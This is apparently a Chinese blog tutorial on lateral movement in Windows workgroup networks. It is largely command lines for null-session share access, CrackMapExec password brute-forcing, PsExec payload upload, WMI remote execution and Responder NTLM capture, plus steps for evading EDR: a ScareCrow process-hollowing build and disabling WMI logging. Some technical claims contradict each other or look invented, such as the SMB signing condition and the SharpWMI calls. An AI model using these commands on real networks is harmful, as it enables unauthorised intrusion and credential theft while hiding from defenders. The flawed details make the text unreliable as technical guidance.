工作组环境下的内网横向

工作组横向移动的核心路径(五步法)

路径 1:空连接 + 共享访问(最基础且最有效)

  • 工作组主机默认允许“匿名”连接至 IPC$ 共享;
  • 若未禁用空连接,则可无需密码访问系统信息;
  • 可通过 net use 建立连接,进一步获取文件、注册表、进程等信息。

命令示例(以 cmd 执行):

# 建立空连接(无密码)
net use \\192.168.178.100\ipc$ "" /user:""

# 查看共享列表
net view \\192.168.178.100

# 映射 C 盘共享
net use Z: \\192.168.178.100\C$ "" /user:""

 限制:若目标主机关闭了 IPC$ 共享或设置了防火墙规则,则失败。

验证方法(探测是否支持空连接):

# PowerShell 检查
try {
$session = New-Object -ComObject WScript.Network
$session.MapNetworkDrive("Z:", "\\192.168.178.100\C$", $false, "", "")
} catch {
Write-Host "无法建立空连接"
}

路径 2:弱口令爆破(暴力破解管理员账户)

 原理

  • 很多企业内部系统使用统一密码(如 Admin@2024Password123);
  • 通过工具对常见管理员账户进行爆破,成功率极高。

推荐工具:CrackMapExec(CME)

典型命令(针对工作组主机):

# 使用用户名列表和密码字典尝试登录
crackmapexec smb 192.168.178.100 -u admin -p passwords.txt --local-auth

# 仅测试空密码
crackmapexec smb 192.168.178.100 -u admin -p "" --local-auth

# 列出所有共享资源
crackmapexec smb 192.168.178.100 -u admin -p 'Pass@123' --shares

提示:使用 --local-auth 标志,表示使用本地账户而非域账户认证。

加速技巧:

  • 使用 hashcat 提前计算常见密码哈希(NTLMv2);
  • 对于已知账户(如 Administratordevsvc),优先尝试。

路径 3:PsExec + 本地管理员账户(最经典)

原理

  • PsExec 是微软官方工具,用于远程执行命令;
  • 若目标主机存在本地管理员账户且密码已知,即可直接执行任意命令。

使用方式:

# 远程执行命令(需管理员密码)
psexec \\192.168.178.100 -u admin -p Pass@123 cmd.exe

# 上传并执行 payload
psexec \\192.168.178.100 -u admin -p Pass@123 -c payload.exe

缺点:会留下大量日志(Event ID 4688)、高频网络流量,易被检测。

改进方案:免杀版 PsExec(内存执行)

使用 ScareCrow + Syswhispers2 生成免杀版本:

# 生成反射式 DLL(注入到合法进程)
./ScareCrow -I psexec.bin -Loader dll -inject svchost -hollow true -o psexec_hollow.dll

优势:不写磁盘、不调用 CreateRemoteThread,绕过 EDR 检测。

路径 4:WMI 横向移动(轻量级、低噪声)

原理

  • Windows Management Instrumentation(WMI)是系统内置的管理接口;
  • 支持跨主机执行脚本、查询信息、启动服务;
  • 流量走 135 端口,常被允许通过防火墙。

实现方式(PowerShell):

# 连接到目标主机并执行命令
Invoke-WmiMethod -ComputerName 192.168.178.100 -Namespace "root/cimv2" \
-Class Win32_Process -Name Create -ArgumentList @("cmd.exe /c whoami > C:\temp\whoami.txt")

绕过机制:

  • 使用 WmiService 进行代理连接;
  • 设置 Credential 为已知管理员账户;
  • 关闭 WMI Logging 以减少痕迹。

工具增强:SharpWMI(C# 编写,免杀)

// SharpWMI 执行命令
var wmi = new SharpWMI("192.168.178.100", "admin", "Pass@123");
wmi.ExecuteCommand("cmd.exe /c whoami > C:\\temp\\whoami.txt");

优势:编译为 .NET Assembly,可在内存中加载,避免静态特征。

 路径 5:SMB Relay + 本地账户重用(高级玩法)

原理

  • 若目标主机开启了 SMB Signing 等安全机制,可被利用;
  • 使用 Responder 等工具捕获目标主机发送的 NTLM 认证请求;
  • 在中间人位置伪造响应,实现“欺骗式”登录。

工具:Responder(MITM 攻击框架)

启动命令:

# 监听局域网中的 SMB 认证请求
sudo python3 responder.py -I eth0 -wrf

触发条件:
  • 目标主机尝试访问一个不存在的共享(如 \\192.168.178.100\fake_share);
  • 会自动发送 NTLMSSP_AUTH 包;
  • Responder 捕获后返回伪造响应,获取明文密码或 hash。

攻击链:

[攻击者] → [监听] → [目标主机发起请求] → [收到伪造响应] → [成功登录]

注意:需确保攻击者在同一子网,且目标主机未启用 SMB Signing。

posted @ 2026-01-22 10:56  夜_星空如海  阅读(0)  评论(0)    收藏  举报